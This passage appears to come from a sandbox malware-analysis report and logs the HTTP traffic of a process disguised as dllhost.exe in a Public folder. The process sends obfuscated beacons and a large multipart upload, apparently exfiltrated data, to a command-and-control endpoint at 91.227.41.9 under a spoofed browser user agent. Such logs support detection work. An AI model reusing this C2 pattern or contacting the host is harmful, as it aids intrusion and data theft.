                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:27:29.514961958 CET2536OUTData Raw: 59 53 43 57 5d 41 55 59 54 57 5b 51 55 51 59 5b 50 5f 5a 5d 56 50 57 53 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: YSCW]AUYTW[QUQY[P_Z]VPWSX_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_'3="=)' %3[<C='Y7+9+#*W!P<)#"0Y+&\"'Z,
                                                                                                                                      Dec 9, 2024 00:27:30.428956032 CET25INHTTP/1.1 100 Continue


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      10192.168.2.44975291.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:27:30.577334881 CET308OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: multipart/form-data; boundary=----JfPZs2UEFI3gnVXFX8zJCzj4G5RhJ1J6ak
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 188114
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:27:30.921433926 CET12360OUTData Raw: 2d 2d 2d 2d 2d 2d 4a 66 50 5a 73 32 55 45 46 49 33 67 6e 56 58 46 58 38 7a 4a 43 7a 6a 34 47 35 52 68 4a 31 4a 36 61 6b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 30 22
                                                                                                                                      Data Ascii: ------JfPZs2UEFI3gnVXFX8zJCzj4G5RhJ1J6akContent-Disposition: form-data; name="0"Content-Type: text/plainY_CQ]CU^TW[QUZYYP\Z_VQW\X_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^
                                                                                                                                      Dec 9, 2024 00:27:31.042381048 CET9888OUTData Raw: 6d 54 56 5a 35 4f 62 57 67 67 43 71 54 79 51 44 54 78 71 67 52 46 64 37 5a 64 30 56 72 33 4c 66 42 6a 6c 42 79 6a 2f 2f 52 6e 53 4d 6a 77 6b 4c 54 79 35 74 42 49 72 71 5a 66 54 53 31 61 63 48 4a 58 67 79 67 50 6e 33 71 78 61 55 42 67 59 62 2b 5a
                                                                                                                                      Data Ascii: mTVZ5ObWggCqTyQDTxqgRFd7Zd0Vr3LfBjlByj//RnSMjwkLTy5tBIrqZfTS1acHJXgygPn3qxaUBgYb+Ze9hEfrGhKoPtCLOABGdZ9SYzdY+wiUMpCcvIS+DKdSl1ug1M+/eR4Hcy6AV2L7cYxXQM5hDoDiXkT2cZuIUiI13kE0hjMTCjHqHPOJaZBTqEgREVheQisBUYhDM0JGfRnT2/u1bcGOeWvkxQ1a0lWJSMGUjeHQNRS
                                                                                                                                      Dec 9, 2024 00:27:31.042417049 CET2472OUTData Raw: 55 34 41 6f 30 49 6a 2f 43 75 51 36 71 6d 47 7a 54 75 71 61 63 77 76 39 4c 47 48 7a 2b 30 50 46 37 38 50 35 48 44 65 58 59 6f 50 37 53 64 66 68 4e 54 72 6e 43 4c 46 65 53 46 4f 36 43 37 63 58 6e 6f 38 48 44 70 52 66 2b 76 53 39 76 63 37 52 63 63
                                                                                                                                      Data Ascii: U4Ao0Ij/CuQ6qmGzTuqacwv9LGHz+0PF78P5HDeXYoP7SdfhNTrnCLFeSFO6C7cXno8HDpRf+vS9vc7RccFuCdNRiJgePyiX0D5PeFM7t/4tLKW3vEHC+YzU3xc8NcWIvf43WbQ8tfwdVmKpZpnjdYkfG+fIGkYKeGbo/Zr8xnJZR73ieg2EeCys6lF7s/qbWuuI02U9Rje+Nu3S8w0euL+t0PpawQhP1BayLP4drMGd7aN8una
                                                                                                                                      Dec 9, 2024 00:27:31.043282032 CET2472OUTData Raw: 62 4c 6a 41 67 78 66 34 41 51 47 31 52 49 65 68 43 36 66 52 73 70 35 75 4c 77 57 77 53 6d 44 52 58 6a 5a 55 6f 4d 76 51 62 45 4b 77 75 2f 50 73 74 55 6b 35 69 30 48 61 52 5a 47 43 37 55 6b 4e 30 6a 4e 61 44 41 41 6b 5a 77 48 53 30 41 42 6a 58 76
                                                                                                                                      Data Ascii: bLjAgxf4AQG1RIehC6fRsp5uLwWwSmDRXjZUoMvQbEKwu/PstUk5i0HaRZGC7UkN0jNaDAAkZwHS0ABjXv7tAviBD/534GxQn4wqNPfEoF/uiUMc9E1vCjW6DuRl8Xlefsbnen1kytRX9MN5CsBq4ICXnNy6tPytqIE7uMFrsnZDMfI8GxaybNjj0bn4KqLc9nSWwgTqRuYEpDJlxJuqJY//h4T/vOmPjxOCT5GzHSehZ7hOLi5
                                                                                                                                      Dec 9, 2024 00:27:31.043350935 CET2472OUTData Raw: 6a 59 2b 36 76 50 7a 6f 37 47 61 43 39 70 55 41 4a 66 6a 52 7a 54 79 45 35 33 42 42 46 6f 65 43 38 47 59 50 70 50 67 58 4f 66 47 46 72 6b 59 77 57 4f 65 2f 4d 50 77 53 44 79 76 51 6d 58 67 5a 4b 79 35 49 6a 2f 62 67 48 6c 6f 72 69 68 72 6f 54 6b
                                                                                                                                      Data Ascii: jY+6vPzo7GaC9pUAJfjRzTyE53BBFoeC8GYPpPgXOfGFrkYwWOe/MPwSDyvQmXgZKy5Ij/bgHlorihroTkpKseF+R3nV4/ZDGH+W4ucZ+vTqidQ7Td/L4XAlufCrzE9DtoZjCje6qTIwoPBqO/sSs2Y/ARgxgpw0S6C9jzlVs9rW9V9KFBwUl5TLzM84rBkg8X+OOvjSH5JUAkdCwCjcHWwmZlG5xZ9h66oO7wsLoo/a0cIxh7A
                                                                                                                                      Dec 9, 2024 00:27:31.043858051 CET2472OUTData Raw: 38 4f 72 34 6c 6c 6a 76 2f 51 4a 6f 70 6a 35 61 79 61 35 4c 78 4d 7a 6e 6f 31 75 42 71 6e 37 45 36 75 59 64 73 53 77 31 4f 6f 72 59 49 57 46 7a 39 75 2f 51 4c 62 34 33 67 7a 2b 4d 42 69 44 66 34 65 77 66 72 6b 67 58 74 2f 66 30 70 64 44 4d 30 6d
                                                                                                                                      Data Ascii: 8Or4lljv/QJopj5aya5LxMzno1uBqn7E6uYdsSw1OorYIWFz9u/QLb43gz+MBiDf4ewfrkgXt/f0pdDM0mj8LTwDro3Jyt/u+8s5tMBKZ2o0Lti3+iNzZHWL/JFwpboiSSTsYPrLbT7/43dOt+5gNEeSZvKLmR8aaq73e2jYByQQIxfnyuSK+HcqsvR0ZNPqolFijGfA8EmedCxkhOpp54ZxfauT3lHcycd7b7gY7xEvCjK6jMk
                                                                                                                                      Dec 9, 2024 00:27:31.043875933 CET2472OUTData Raw: 6e 35 35 33 72 62 39 30 30 62 49 74 41 6c 62 47 4e 6e 70 48 2f 70 48 6a 64 39 75 4d 62 6c 31 2f 51 38 6f 69 74 62 56 6b 69 34 71 50 44 35 74 65 39 50 31 52 76 37 73 36 50 54 7a 48 39 38 61 63 4c 4a 65 36 43 6a 48 30 31 45 74 30 59 37 58 67 76 63
                                                                                                                                      Data Ascii: n553rb900bItAlbGNnpH/pHjd9uMbl1/Q8oitbVki4qPD5te9P1Rv7s6PTzH98acLJe6CjH01Et0Y7Xgvc+UFiW6fHs+LJAL9u4Gd5Yb7d3WiFeyvQoln6x7bz8Vcta+MxF06zf/yC2aqZGXaTMMpZs+rVIaCsvtJ+l77gJMEZaMSpoy8uPOJ53mfgc82AKq27naCdUprrQlpq+ZOy8hEqAGEgnXbVkahwOto6P06CTpP5wBwRS
                                                                                                                                      Dec 9, 2024 00:27:31.046083927 CET2472OUTData Raw: 34 64 6e 36 2b 6b 6e 5a 4c 65 44 57 59 48 58 34 41 31 74 58 4e 56 59 4d 4e 69 78 32 38 4e 44 41 2b 67 30 4b 42 51 74 59 6d 6e 57 44 61 4b 69 45 53 61 44 5a 64 2f 45 74 30 5a 79 6b 45 57 44 58 64 47 79 64 52 4e 6d 64 50 6a 30 2f 71 55 37 4a 59 48
                                                                                                                                      Data Ascii: 4dn6+knZLeDWYHX4A1tXNVYMNix28NDA+g0KBQtYmnWDaKiESaDZd/Et0ZykEWDXdGydRNmdPj0/qU7JYHWfjIst/MTjKXcC8kmIL0cu6JzCf8xCOdrZ8hjjAj3897MYM7/T6HCCGsLZaKQNrFiQuqV1iytIUokVJTa4aysa0Cfyw7CX1lGDwnghZ8Bg9gpecHLXOwPTo26DCAfRbsNl/H+TBYwj+RnebDdBewg1fyI85YDwo0X
                                                                                                                                      Dec 9, 2024 00:27:31.163840055 CET2472OUTData Raw: 36 2f 73 53 2b 6c 4a 66 31 37 71 4b 73 69 75 41 70 64 2b 78 37 56 4c 61 2b 4c 4b 6a 34 45 2b 55 52 42 54 62 46 31 56 45 30 72 37 43 51 4e 31 34 62 55 48 72 59 73 47 4d 44 7a 4b 50 70 48 54 76 70 70 72 37 2f 42 32 73 6f 6e 47 67 70 59 6d 48 4b 30
                                                                                                                                      Data Ascii: 6/sS+lJf17qKsiuApd+x7VLa+LKj4E+URBTbF1VE0r7CQN14bUHrYsGMDzKPpHTvppr7/B2sonGgpYmHK0TfT2OoeLBvR0RW7qYFUebHumVXt7fLhf2DKZZOkYYDB7jlLeDNYV4SIQCc95Oer8H40vDGuTILX07Gd302muDgWpCm7m7pecCIO3eEiiG4DOD9Ce5Q8K+pXKf4VxS/Q/FPi2f176CwhCRyJD6UZBEcn5olMf+W2NI
                                                                                                                                      Dec 9, 2024 00:27:31.163858891 CET2472OUTData Raw: 5a 67 71 2f 33 62 30 74 76 5a 33 53 65 69 47 73 6e 6f 73 4f 5a 70 68 70 55 6e 48 71 63 64 7a 35 74 75 62 6e 36 71 53 77 75 69 2b 57 59 62 32 6c 69 6e 7a 42 2f 39 30 34 6e 4f 5a 68 68 4d 34 56 50 61 45 66 59 52 70 6d 58 39 6e 6e 73 34 6f 2f 54 59
                                                                                                                                      Data Ascii: Zgq/3b0tvZ3SeiGsnosOZphpUnHqcdz5tubn6qSwui+WYb2linzB/904nOZhhM4VPaEfYRpmX9nns4o/TY2z5cb1usXO5wtN3Ku5fbtjc6dj2zelz6YKXpS4jIu3+LXTGJMGGGggTYA9OYX75f1CP8o3ejc4j9sCVqIsGXBEJ/HmGTBiiS2zNjHvtpPuduaMUBr13pcvM7OiojhMZhUJDdeoLki+NVpdOvB3eHAxQCiQt1k3hYG
                                                                                                                                      Dec 9, 2024 00:27:31.845737934 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:27:32.543358088 CET207INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:27:31 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Content-Length: 4
                                                                                                                                      Keep-Alive: timeout=5, max=100
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 3d 5b 40 58
                                                                                                                                      Data Ascii: =[@X
                                                                                                                                      Dec 9, 2024 00:27:32.543648005 CET238OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 1860
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Dec 9, 2024 00:27:32.983767986 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:27:33.431360006 CET324INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:27:32 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Vary: Accept-Encoding
                                                                                                                                      Content-Length: 152
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 0f 13 3a 08 25 36 37 58 2a 20 2d 53 2b 2c 23 16 2d 2c 38 1e 3c 0e 3d 13 31 07 24 0e 26 16 2a 1f 2b 00 23 15 33 0c 25 57 24 37 05 50 3e 02 2f 58 07 1c 24 00 28 15 09 5c 25 33 32 5e 29 1f 27 58 32 3e 24 5d 26 3e 05 02 30 30 34 5e 3c 1d 39 54 32 06 3d 51 3f 15 30 14 2d 37 23 0e 36 34 23 53 08 11 26 08 30 1f 38 1f 27 2c 28 59 35 0d 3a 56 30 05 33 55 3d 05 3b 06 28 55 2d 5a 3c 32 2e 1f 30 32 24 1e 30 06 3b 07 24 55 21 0e 24 3a 26 54 2a 00 23 56 03 31 57 50
                                                                                                                                      Data Ascii: :%67X* -S+,#-,8<=1$&*+#3%W$7P>/X$(\%32^)'X2>$]&>004^<9T2=Q?0-7#64#S&08',(Y5:V03U=;(U-Z<2.02$0;$U!$:&T*#V1WP


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      11192.168.2.44975391.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:27:30.725287914 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2532
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:27:31.077488899 CET2532OUTData Raw: 59 5a 43 51 5d 41 55 5f 54 57 5b 51 55 58 59 5b 50 59 5a 59 56 56 57 5c 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: YZCQ]AU_TW[QUXY[PYZYVVW\X_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_$&=)_<* Y"%+(1&<$+)\7"/?9$!8Z+/&\"'Z,
                                                                                                                                      Dec 9, 2024 00:27:32.000683069 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:27:32.237380028 CET207INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:27:31 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Content-Length: 4
                                                                                                                                      Keep-Alive: timeout=5, max=100
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 3d 5b 40 58
                                                                                                                                      Data Ascii: =[@X


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      12192.168.2.44975491.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:27:32.474981070 CET238OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Dec 9, 2024 00:27:32.827641964 CET2536OUTData Raw: 5c 59 46 57 5d 43 50 5f 54 57 5b 51 55 5f 59 55 50 52 5a 59 56 51 57 5b 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: \YFW]CP_TW[QU_YUPRZYVQW[X_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_$&.9+?#S<<%0?#<4\7?!#3+) ]"2'*/&\"'Z,
                                                                                                                                      Dec 9, 2024 00:27:33.740979910 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:27:33.973172903 CET151INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:27:33 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Content-Length: 4
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 3d 5b 40 58
                                                                                                                                      Data Ascii: =[@X


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      13192.168.2.44975591.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:27:34.209474087 CET238OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2532
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Dec 9, 2024 00:27:34.562031031 CET2532OUTData Raw: 5c 5c 43 52 58 4b 55 52 54 57 5b 51 55 58 59 55 50 53 5a 5e 56 51 57 58 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: \\CRXKURTW[QUXYUPSZ^VQWXX_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_$32=*$^ 6$(%-_'?)*;7,53 +,_68(/&\"'Z,
                                                                                                                                      Dec 9, 2024 00:27:35.476969004 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:27:35.709336042 CET151INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:27:35 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Content-Length: 4
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 3d 5b 40 58
                                                                                                                                      Data Ascii: =[@X


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      14192.168.2.44975691.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:27:35.965714931 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:27:36.312043905 CET2536OUTData Raw: 59 59 43 5d 5d 47 50 58 54 57 5b 51 55 59 59 5b 50 58 5a 59 56 5c 57 5b 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: YYC]]GPXTW[QUYY[PXZYV\W[X_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_$'.1+X 5+-3<7W()07:$53$<*?#!0[(&\"'Z,,
                                                                                                                                      Dec 9, 2024 00:27:37.234688044 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:27:37.489696026 CET207INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:27:37 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Content-Length: 4
                                                                                                                                      Keep-Alive: timeout=5, max=100
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 3d 5b 40 58
                                                                                                                                      Data Ascii: =[@X


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      15192.168.2.44975791.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:27:37.723239899 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:27:38.077508926 CET2536OUTData Raw: 59 58 43 54 5d 44 50 5c 54 57 5b 51 55 50 59 5a 50 5c 5a 58 56 5d 57 59 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: YXCT]DP\TW[QUPYZP\ZXV]WYX_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_'&.%X<(Z7'Z<C%&<$+##\'T!#/)),\!/+&\"'Z,


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      16192.168.2.44975891.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:27:38.571013927 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 1860
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:27:38.921875954 CET1860OUTData Raw: 59 5e 43 52 58 44 55 5b 54 57 5b 51 55 5d 59 54 50 5f 5a 5d 56 5c 57 52 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: Y^CRXDU[TW[QU]YTP_Z]V\WRX_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_$&=9=)#?&&$/W(9$X!)4# ?+$\5<^?&\"'Z,<
                                                                                                                                      Dec 9, 2024 00:27:39.870912075 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:27:40.105581999 CET380INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:27:39 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Vary: Accept-Encoding
                                                                                                                                      Content-Length: 152
                                                                                                                                      Keep-Alive: timeout=5, max=100
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 0f 13 39 57 26 36 3f 1d 2a 0d 04 0a 3f 5a 27 15 39 2c 2f 01 3f 0e 35 1c 25 58 3f 11 26 5e 31 0d 3f 10 38 01 33 1c 31 52 30 34 28 0d 2a 02 2f 58 07 1c 27 5c 2b 38 20 03 24 23 00 5e 3d 22 2c 01 31 03 24 14 27 3e 05 01 27 1d 24 5b 3c 55 3e 0b 32 3b 3a 08 2b 05 0d 02 2e 34 2f 0f 21 0e 23 53 08 11 25 56 27 31 37 02 32 06 3c 5a 21 0a 39 0f 27 3b 3f 1c 3d 3c 01 02 28 23 0c 02 2a 21 26 1e 24 0c 2f 0e 27 59 34 59 30 33 3e 50 25 2a 26 54 2a 00 23 56 03 31 57 50
                                                                                                                                      Data Ascii: 9W&6?*?Z'9,/?5%X?&^1?831R04(*/X'\+8 $#^=",1$'>'$[<U>2;:+.4/!#S%V'172<Z!9';?=<(#*!&$/'Y4Y03>P%*&T*#V1WP


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      17192.168.2.44975991.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:27:38.693223000 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:27:39.046348095 CET2536OUTData Raw: 59 5b 46 56 5d 41 50 5c 54 57 5b 51 55 50 59 5b 50 5b 5a 58 56 53 57 5d 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: Y[FV]AP\TW[QUPY[P[ZXVSW]X_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_'3=%<)75(?6234+) *<6??_<^5(_+/&\"'Z,
                                                                                                                                      Dec 9, 2024 00:27:40.024805069 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:27:40.257663965 CET207INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:27:39 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Content-Length: 4
                                                                                                                                      Keep-Alive: timeout=5, max=100
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 3d 5b 40 58
                                                                                                                                      Data Ascii: =[@X


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
